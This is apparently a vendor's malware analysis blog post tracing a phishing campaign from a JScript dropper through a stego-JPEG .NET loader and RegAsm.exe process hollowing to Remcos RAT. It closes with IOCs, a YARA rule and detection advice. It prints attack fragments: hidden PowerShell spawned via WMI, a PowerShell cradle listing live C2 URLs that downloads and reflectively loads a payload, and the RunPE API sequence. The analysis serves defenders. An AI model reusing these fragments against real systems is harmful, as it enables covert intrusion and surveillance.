Technical analysis

Dissecting a Multi-Stage Remcos RAT Phishing Campaign: From JavaScript Dropper to Process Hollowing

By IronWort! Team · 25 minute read · June 12, 2026

Classification: TLP:AMBER

A phishing email lands in an employee’s inbox. The subject reads Revised #PO-01469 — a mundane-looking purchase order revision. The attachment? A .js file masquerading as a business document. What follows is a meticulously engineered four-stage infection chain that terminates in a fully-featured commercial remote access trojan executing under the guise of a legitimate Microsoft utility.

This is a full dissection of that chain.

The Email

The phishing email arrived via accounts@tembriotis.com.cy, spoofed to appear as “Atikah (Purchasing Department).” The SMTP relay was vhost13.cy.net (194.30.135.167, Cyprus). The sender header reveals hqpurchasing@soonsoongroup.com. Authentication records show SPF passed and DMARC passed, but DKIM was missing — a classic gap that allowed the spoofed sender name through.

Attached to the email was Revised #PO-01469.js — a JScript file that, when double-clicked on a Windows machine, kicks off the entire chain.

Stage 1: The JScript Dropper

File:    Revised #PO-01469.js
Size:    ~31 KB (deobfuscated: ~1,916 lines)
Type:    JScript (Windows Script Host)
MD5:     02d30c360e78383dd0a125a3d45afdea
SHA256:  2722aca420658efab84e412eadd2cf14ac5551c6075e91bde276d6f5e1d2218f

The script employs a simple but effective obfuscation: character-level noise injection. The 14-character string racaAAddSopkpk is inserted into variable names and method calls throughout the source. Stripping this noise reveals the true logic:

// Obfuscated:
var wshShell = new ActiveXObject("WScript.racacaAAddSopkpkShell");
wshShell.Run("racacaAAddSopkpk" + cmd);

// Cleaned:
var wshShell = new ActiveXObject("WScript.Shell");
wshShell.Run(cmd);

Why this works: Noise injection breaks string-based detection. A signature looking for WScript.Shell won’t match because the string doesn’t appear verbatim until runtime. But it’s trivial to deobfuscate — the noise pattern is constant and can be removed with a single replace().

The deobfuscated script reveals a ~17,000-character Base64-encoded PowerShell cradle. Rather than using the obvious WScript.Shell.Run (which endpoint detection products flag aggressively), it spawns a hidden PowerShell process via WMI:

var wmi = GetObject(
    "winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"
);
var processClass = wmi.Get("Win32_Process");
var methodParams = processClass.Methods_("Create")
    .InParameters.SpawnInstance_();
methodParams.CommandLine =
    "powershell -WindowStyle Hidden -ExecutionPolicy Bypass "
    + "-EncodedCommand " + psCmd;
processClass.ExecMethod_("Create", methodParams);

The ShowWindow=0 parameter (passed via WMI’s SpawnInstance_()) ensures the PowerShell window is invisible to the user.

Why WMI over Run()? WMI process creation is less commonly monitored than direct shell execution. It also provides better process ancestry obfuscation, since the spawning relationship is mediated through WMI’s own svchost.exe.

Stage 2: The Steganographic JPEG and the .NET Loader

File:    1.jpg
Type:    JPEG image, 5157×3438 pixels, JFIF 1.02
Size:    4,762,496 bytes (4.5 MB)
MD5:     83bf51bd93b6db1b112f6ad8c45241b4
SHA256:  050d4043af02c7cfaf00f257f28e8c8313f6f444c843def486fc2141d379da49

The Base64-decoded PowerShell downloads a JPEG from one of three hardcoded URLs, randomly shuffled at runtime:

$c2_list = @(
    'http://globaltechnosoft.com/hgjdti/1.jpg',
    'http://107.172.13.211/img/1.jpg',
    'http://paste.sensio.no/AdvocateAnthrax/1.jpg'
)

The JPEG is legitimate — it opens as a normal image. But appended after the end-of-file marker (FF D9) are two ASCII markers with Base64 in between:

<<START>>
...base64-encoded PE...
<<END>>

The PowerShell extracts this payload with a regex, decodes it from Base64, and loads it directly into memory:

$b64 = [regex]::Match(
    [Text.Encoding]::ASCII.GetString($jpg_bytes),
    '<<START>>(.+?)<<END>>', 'Singleline'
).Groups[1].Value
$assembly = [System.Reflection.Assembly]::Load(
    [Convert]::FromBase64String($b64)
)
$assembly.EntryPoint.Invoke($null, @($url, '0', '', '0', 'x86'))

No file is ever written to disk — the .NET assembly lives entirely in memory.

Why a stego JPEG? Network security appliances scanning HTTP traffic for executable downloads see a JPEG. The <<START>>/<<END>> markers are generic enough to avoid signature-based detection. And the image itself can be hosted on any image-sharing service, CDN, or compromised website — it doesn’t look suspicious.

The .NET Loader: SmartAssembly and Process Hollowing

File:           decompiler_test.exe (extracted from 1.jpg)
Type:           PE32+ executable, GUI, x86-64, .NET assembly
Size:           ~93,696 bytes
Entry Point:    myprogram.sha.Main()
Obfuscator:     SmartAssembly 6.x (Red Gate)
Methods:        495
Fields:         391
MD5:            8e1389360f391447405f779dfd4f4d18
SHA256:         6af6d8fe02670f84138d3b0e4863f548fa9c47a19e51094225ede3650492456d

The extracted assembly is protected with SmartAssembly 6.x, a commercial .NET obfuscator. Key obfuscation techniques observed:

The core dropper logic lives in the myprogram.Homees class, specifically the runss() method. It performs two actions:

1. Downloads Stage 3 — fetches IiakmbA.txt from the same C2 infrastructure
2. Decrypts and injects — decrypts the payload using AES/DES, decompresses it with a custom Huffman inflater, and injects the result into a suspended RegAsm.exe process

The process injection is classic RunPE / process hollowing, implemented in the SystemUtilities.MemoryMapper class which wraps 17 native APIs via P/Invoke:

1. CreateProcessA("RegAsm.exe", CREATE_SUSPENDED)
2. ZwUnmapViewOfSection(hProcess, imageBase)
3. VirtualAllocEx(hProcess, imageBase, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
4. WriteProcessMemory(hProcess, imageBase, peData, size, &written)
5. VirtualProtectEx(hProcess, sectionAddrs, sectionSizes, correctProtections)
6. GetThreadContext(hThread, &ctx)
   ctx.Rcx = entryPoint  // AMD64 entry point in RCX
   SetThreadContext(hThread, &ctx)
7. ResumeThread(hThread)

Both 32-bit and 64-bit variants are implemented (CreateProc64, CreateProc32, GetCtxWow32 for WOW64 thread context). The architecture is selected at runtime based on the 'x86' or 'x64' parameter passed from the PowerShell cradle.

Why RegAsm.exe? RegAsm.exe is a Microsoft-signed binary located in the .NET Framework directory. Process hollowing into a trusted, signed binary allows the malware to blend in. A security analyst investigating network connections from RegAsm.exe might dismiss them as normal .NET assembly registration traffic.

Stage 3: The Encrypted Payload

File:     IiakmbA.txt
Size:     380,452 bytes
Type:     Base64-encoded binary
Entropy:  7.97 bits/byte (highly encrypted)
MD5:      ad08ab8040adea73275aa923add141c7
SHA256:   d5ec73055e0cd22b4a31cfd3e801bd0f47380030802e03bdfcf3f6dfd0e4a9d0

The payload is Base64-encoded ciphertext. After decoding, it’s 285,337 bytes with 95 leading zero bytes (likely buffer padding or a misalignment artifact). The entropy of 7.97 bits/byte confirms strong encryption.

The Crypto Scheme

The encryption is handled by SmartAssembly.Zip.SimpleZip, which implements a compress-then-encrypt pipeline:

Encryption (server side):
  plaintext PE → Zip() → AES-CBC or DES-CBC encrypt → ciphertext → Base64

Decryption (client side, runss()):
  ciphertext → Base64 decode → AES/DES decrypt → Unzip() → plaintext PE

The key material was recovered from the .NET assembly’s #US (User Strings) metadata heap:

Why Decryption Failed

Multiple decryption attempts using AES-128-CBC, DES-CBC, and XOR with these keys produced no identifiable headers — no MZ (PE), no PK (ZIP), no 78 (zlib). The failure is likely due to one of:

1. Runtime key transformation — Strings.Get(int32) may derive the real key at runtime
2. Multi-source key derivation — the final key could be a hash of multiple keys concatenated with the public key token
3. Custom cipher parameters — RijndaelManaged supports key sizes beyond AES standard, and the padding mode is unknown
4. The custom Huffman inflater — even if decrypted correctly, Unzip() uses a proprietary algorithm, not standard DeflateStream

This is a known challenge with SmartAssembly-protected samples. The Elastic Security Labs team encountered the same issue in their Remcos analysis. Without running the sample and hooking runss() to capture post-decryption memory, the plaintext PE remains inaccessible.

Stage 4: Remcos RAT — The Final Payload

File:     dump-6a2bfa2b1474b067d7a39160
          dump-6a2bfa2c1474b067d7a39179 (byte-identical)
Size:     524,288 bytes (512 KB)
Type:     PE32 executable (GUI), Intel 80386
Compiler: Microsoft Visual C++ 14.16 (Visual Studio 2017)
Compiled: 2025-01-06 20:35:01 UTC
MD5:      caf8075b5aa0d61d442d3175bcb6146b
SHA256:   86997301f909b75842564653ad39f99fdc6e04c8e13bf0a0be152dfc86c7d88f

Identifying the Malware

Four strings embedded in the binary confirm this is Remcos RAT v3.x+ Pro:

Remcos (Remote Control & Surveillance) is a commercial RAT developed by BreakingSecurity and sold as a legitimate remote administration tool. Despite its nominal “dual-use” nature, it has been adopted by threat actors across the spectrum — from financially motivated cybercrime to state-adjacent espionage — and consistently ranks among the most prevalent malware families detected in the wild.

PE Structure

Capability Map

The import table in .data exposes the full operational capability set:

Keylogging & Input Capture

user32.dll → GetAsyncKeyState, GetKeyState, SetWindowsHookExA, GetKeyboardLayout, MapVirtualKeyA

Remcos installs a low-level keyboard hook via SetWindowsHookExA with WH_KEYBOARD_LL. Every keystroke — passwords, emails, chat messages — is captured before it reaches the application.

Process Injection (RunPE)

kernel32.dll → CreateProcessA/W, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx,
                GetThreadContext, SetThreadContext, ResumeThread, ReadProcessMemory
ntdll.dll    → ZwCreateSection, ZwMapViewOfSection, ZwUnmapViewOfSection

The same hollowing technique used by the .NET loader is available to Remcos itself, enabling it to spawn additional payloads under legitimate process identities.

Persistence

advapi32.dll → RegCreateKeyExA/W, RegSetValueExA/W, RegDeleteValueW, RegEnumValueW,
               RegDeleteKeyA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey

Four persistence mechanisms are available: HKLM\...\Run registry keys, HKCU\...\Run registry keys, Scheduled Tasks (schtasks /create /sc ONLOGON), and Windows Service installation (sc create). The malware can also set the hidden and system file attributes on its installation directory.

UAC Bypass

ole32.dll    → CoGetObject, CoInitializeEx
advapi32.dll → AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken
shell32.dll  → ShellExecuteW

Remcos uses the well-documented CMSTPLUA COM elevation technique — the Elevation:Administrator!new: COM moniker with the CMSTPLUA CLSID and ICMLuaUtil interface — to spawn a process with administrator privileges without triggering a UAC prompt.

C2 Communication (TLS 1.3)

wininet.dll → InternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile
winhttp.dll → WinHttpOpen, WinHttpConnect, WinHttpOpenRequest, WinHttpSendRequest,
              WinHttpReceiveResponse

Dual HTTP stacks (WinINet and WinHTTP) provide fallback capability. All traffic is encrypted with TLS 1.3.

Surveillance — Webcam, microphone, and screen capture APIs are imported from avicap32.dll, winmm.dll, and gdi32.dll. The CreateDesktop/SwitchDesktop pair enables rendering to a hidden desktop for stealthy screen recording.

The Resource Section — Deliberately Corrupted

Here’s where the analysis hits a wall.

In every documented Remcos build since v3.x, the operational configuration (C2 hostname, port, password, install directory, mutex name, and 40+ additional settings) is stored as an RC4-encrypted blob in the PE’s resource section, under a resource named "SETTINGS" of type RT_RCDATA (id=10). The structure is:

struct EncryptedConfig {
    uint8_t  key_size;            // 1 byte — RC4 key length (2–32)
    uint8_t  key[key_size];       // RC4 key bytes (ASCII)
    uint8_t  data[];              // RC4-encrypted config, delimited by \x7C\x1F\x1E\x1E\x7C
};

After RC4 decryption, the config is a |...|-delimited string containing all operational parameters. This is well-documented by Elastic Security Labs and Fortinet.

But the .rsrc section header has been deliberately overwritten.

The first 16 bytes of .rsrc at file offset 0x70000 should be an IMAGE_RESOURCE_DIRECTORY with Characteristics=0, a timestamp, and small named/id entry counts. Instead, we find:

Offset  Expected        Observed         ASCII
0x00    0x00000000      0x73756F6D       "mous"
0x04    <timestamp>     0x76655F65       "e_ev"
0x08    0x0000          0x6E65           —
0x0A    0x0000          0x6E65           —
0x0C    small (~1–10)   0x0205 (517)     —
0x0E    small (~1–10)   0x614D (24909)   —

The ASCII string mouse_event... overwrites the critical structure. The 517 named entries and 24,909 ID entries calculated from the garbage cause every standard PE parser — pefile, LIEF, Resource Hacker — to overflow or return empty trees.

Eight independent static extraction methods were attempted:

Conclusion: The SETTINGS RC4 configuration cannot be extracted from this PE via static analysis. The resource section obfuscation is a deliberate anti-reverse-engineering measure. The configuration is either:

• Reconstructed by the dropper at runtime before passing control to Remcos
• Decrypted and injected into the PE image in memory (dynamic patching)
• Stripped from this particular build entirely

C2 Infrastructure

While the Remcos config was inaccessible, the C2 infrastructure was recovered from the two preceding stages:

Primary C2

URL Structure

The C2 server exposes a directory tree with numeric subdirectories suggesting multiple concurrent campaigns:

/100/
/150/
/200/
/300/
/400/
/hgjdti/           → payload staging directory
/img/              → image hosting directory
/100/ec/           → subdirectory for XML/document artifacts

Each numeric directory contains similarly named .hta files with motivational-sounding filenames — givemebestchoicnetohacksomethings.hta, goodthingsarebestfeelingforme.hta, becomeperfecthistimeforbestproperthings.hta — suggesting thematic campaign naming.

Additional staging endpoints were observed:

r2.image-upload.app/tyImg/wra1QUvK.png
as.al/file/Ssn2Eg

The Complete Attack Chain

┌─────────────────────────────────────────────────────────┐
│                 PHISHING EMAIL (Stage 0)                 │
│  From: accounts@tembriotis.com.cy                       │
│  Subject: Revised #PO-01469                              │
│  Attachment: Revised #PO-01469.js                        │
│  SMTP Relay: vhost13.cy.net (194.30.135.167, Cyprus)    │
└──────────────────────┬──────────────────────────────────┘
                       │ User opens .js
                       ▼
┌─────────────────────────────────────────────────────────┐
│           JSCRIPT DROPPER (Stage 1)                     │
│  - Character noise obfuscation (racaAAddSopkpk)         │
│  - Decodes ~17KB Base64 PowerShell cradle               │
│  - Spawns hidden PowerShell via WMI Win32_Process.Create │
└──────────────────────┬──────────────────────────────────┘
                       │ ShowWindow=0
                       ▼
┌─────────────────────────────────────────────────────────┐
│         POWERSHELL CRADLE (Stage 2a)                     │
│  - Downloads 1.jpg from one of 3 shuffled C2 URLs       │
│  - Extracts <<START>>...<<END>> from JPEG after EOF      │
│  - Base64-decodes and Assembly.Load() into memory       │
└──────────────────────┬──────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────┐
│       .NET SMARTASSEMBLY LOADER (Stage 2b)              │
│  File: decompiler_test.exe (~93KB, AMD64)               │
│  Entry: myprogram.Homees.runss()                        │
│  - Downloads IiakmbA.txt from C2                         │
│  - Base64 decodes → AES/DES decrypts                    │
│  - Custom Huffman decompresses (SmartAssembly SimpleZip) │
│  - Process hollows RegAsm.exe with the PE payload       │
└──────────────────────┬──────────────────────────────────┘
                       │ RunPE into RegAsm.exe
                       ▼
┌─────────────────────────────────────────────────────────┐
│              REMCOS RAT (Stage 4)                        │
│  File: dump-* (512KB, PE32, MSVC 14.16)                 │
│  Vendor: BreakingSecurity.net                           │
│  - .rsrc section corrupted (mouse_event header)         │
│  - RC4 config NOT extractable statically                │
│  - Capabilities: keylogging, webcam, mic, screen grab,  │
│    process injection, UAC bypass, TLS 1.3 C2            │
│  - Persistence: Run keys, scheduled tasks, services     │
└─────────────────────────────────────────────────────────┘

Indicators of Compromise

File Hashes

Network IOCs

# Domains
globaltechnosoft.com
paste.sensio.no
r2.image-upload.app

# IPs
107.172.13.211       (ColoCrossing, ASN 36352, Buffalo NY)
194.30.135.167       (Email infrastructure, vhost13.cy.net, Cyprus)

# PTR
107-172-13-211-host.colocrossing.com

URLs

http://globaltechnosoft.com/hgjdti/IiakmbA.txt
http://globaltechnosoft.com/hgjdti/1.jpg
http://107.172.13.211/img/1.jpg
http://107.172.13.211/img/IiakmbA.txt
http://paste.sensio.no/AdvocateAnthrax
http://paste.sensio.no/AdvocateAnthrax/1.jpg
http://107.172.13.211/100/givemebestchoicnetohacksomethings.hta
http://107.172.13.211/100/givemebestchoicnetohacksomethings.js
https://r2.image-upload.app/tyImg/wra1QUvK.png
https://as.al/file/Ssn2Eg

YARA Rule

rule Malware_PO01469_Remcos_FullChain {
    meta:
        description = "PO-01469 Remcos RAT — all 4 stages"
        author = "ironwort.me"
        date = "2026-06-12"
        reference = "https://ironwort.me/blog/"
    strings:
        // Stage 1: JScript noise pattern
        $js_noise = "racaAAddSopkpk"
        // Stage 2: Steganography markers
        $stego_start = "<<START>>"
        $stego_end = "<<END>>"
        $aes_key = "3345678933456789"
        $des_key = "abcdefghijklmnoFAS"
        // Stage 2: .NET loader identifiers
        $smartassembly = "SmartAssembly.Zip.SimpleZip"
        $homees = "myprogram.Homees"
        $runpe_target = "RegAsm.exe"
        $runpe_api = "ZwUnmapViewOfSection"
        // Stage 4: Remcos RAT identifiers
        $remcos_v = "Remcos v"
        $breakingsec = "BreakingSecurity.net"
        $agent_init = "Remcos Agent initialized"
        $rsrc_corrupt = { 6D 6F 75 73 65 5F 65 76 65 6E 74 }
        // PowerShell indicators
        $ps_reflect = "[System.Reflection.Assembly]::Load"
        $ps_cradle = "SecurityProtocol"
        // C2 addresses
        $c2_domain = "globaltechnosoft.com"
        $c2_paste = "paste.sensio.no"
    condition:
        any of them
}

Detection Recommendations

Network Level

Block the domains and IPs at firewall, DNS, and web proxy. Monitor for outbound HTTPS connections to ColoCrossing IP ranges (ASN 36352) from non-browser processes.

Endpoint Level

1. Block .js, .vbs, .wsf, .hta attachments at the email gateway. These file types have no legitimate business use as email attachments.

2. Enable PowerShell logging — Script Block Logging (Event ID 4104), Module Logging (4103), and Transcription (4100) provide the visibility needed to catch reflection-based assembly loading ([System.Reflection.Assembly]::Load).

3. Monitor for Assembly.Load() in PowerShell. This is the .NET equivalent of WriteProcessMemory — it loads arbitrary code into the PowerShell process without touching disk. Very few legitimate use cases exist outside of development environments.

4. Alert on RegAsm.exe spawned with CREATE_SUSPENDED (0x00000004). The only reason to create a suspended RegAsm.exe is process hollowing. This should be a high-fidelity detection.

5. Deploy AppLocker or Windows Defender Application Control — constrain wscript.exe, cscript.exe, and powershell.exe to only execute signed scripts from trusted paths.

6. Monitor WMI process creation via the Microsoft-Windows-WMI-Activity/Operational event log. The Win32_Process.Create method is a common alternative to CreateProcess that bypasses many command-line-based detections.

The Ironic Twist

There’s an uncomfortable irony in this analysis: Remcos is marketed by BreakingSecurity as a legitimate remote administration tool — “for system administrators to remotely manage their computers.” Its website lists features like keylogging, webcam capture, and process injection as selling points. It’s sold for a one-time license fee of €58–389 depending on the edition.

This dual-use nature puts defenders in a bind. The same RegAsm.exe that a legitimate admin might use to register a .NET assembly is the process the malware hollows. The same TLS 1.3 that protects your online banking protects the C2 traffic. The same PowerShell reflection that DevOps teams use for automation is the vector for fileless code execution.

The only reliable differentiator is behavior. And behavior requires visibility — logs, endpoint telemetry, network metadata. If you can’t see Win32_Process.Create firing from a WMI call, or SetThreadContext being called on RegAsm.exe, or InternetConnectA opening a socket to a bulletproof hosting provider — you can’t defend against this chain.

For help building that visibility, review the IronWort! managed security and SOC services or contact us to discuss your monitoring and response coverage.

This analysis was conducted entirely via static reverse engineering. No malware was executed during the investigation. Samples have been submitted to VirusTotal for cross-referencing.

Questions, corrections, or additional intelligence? Contact IronWort! or find me in the Elastic Community Slack.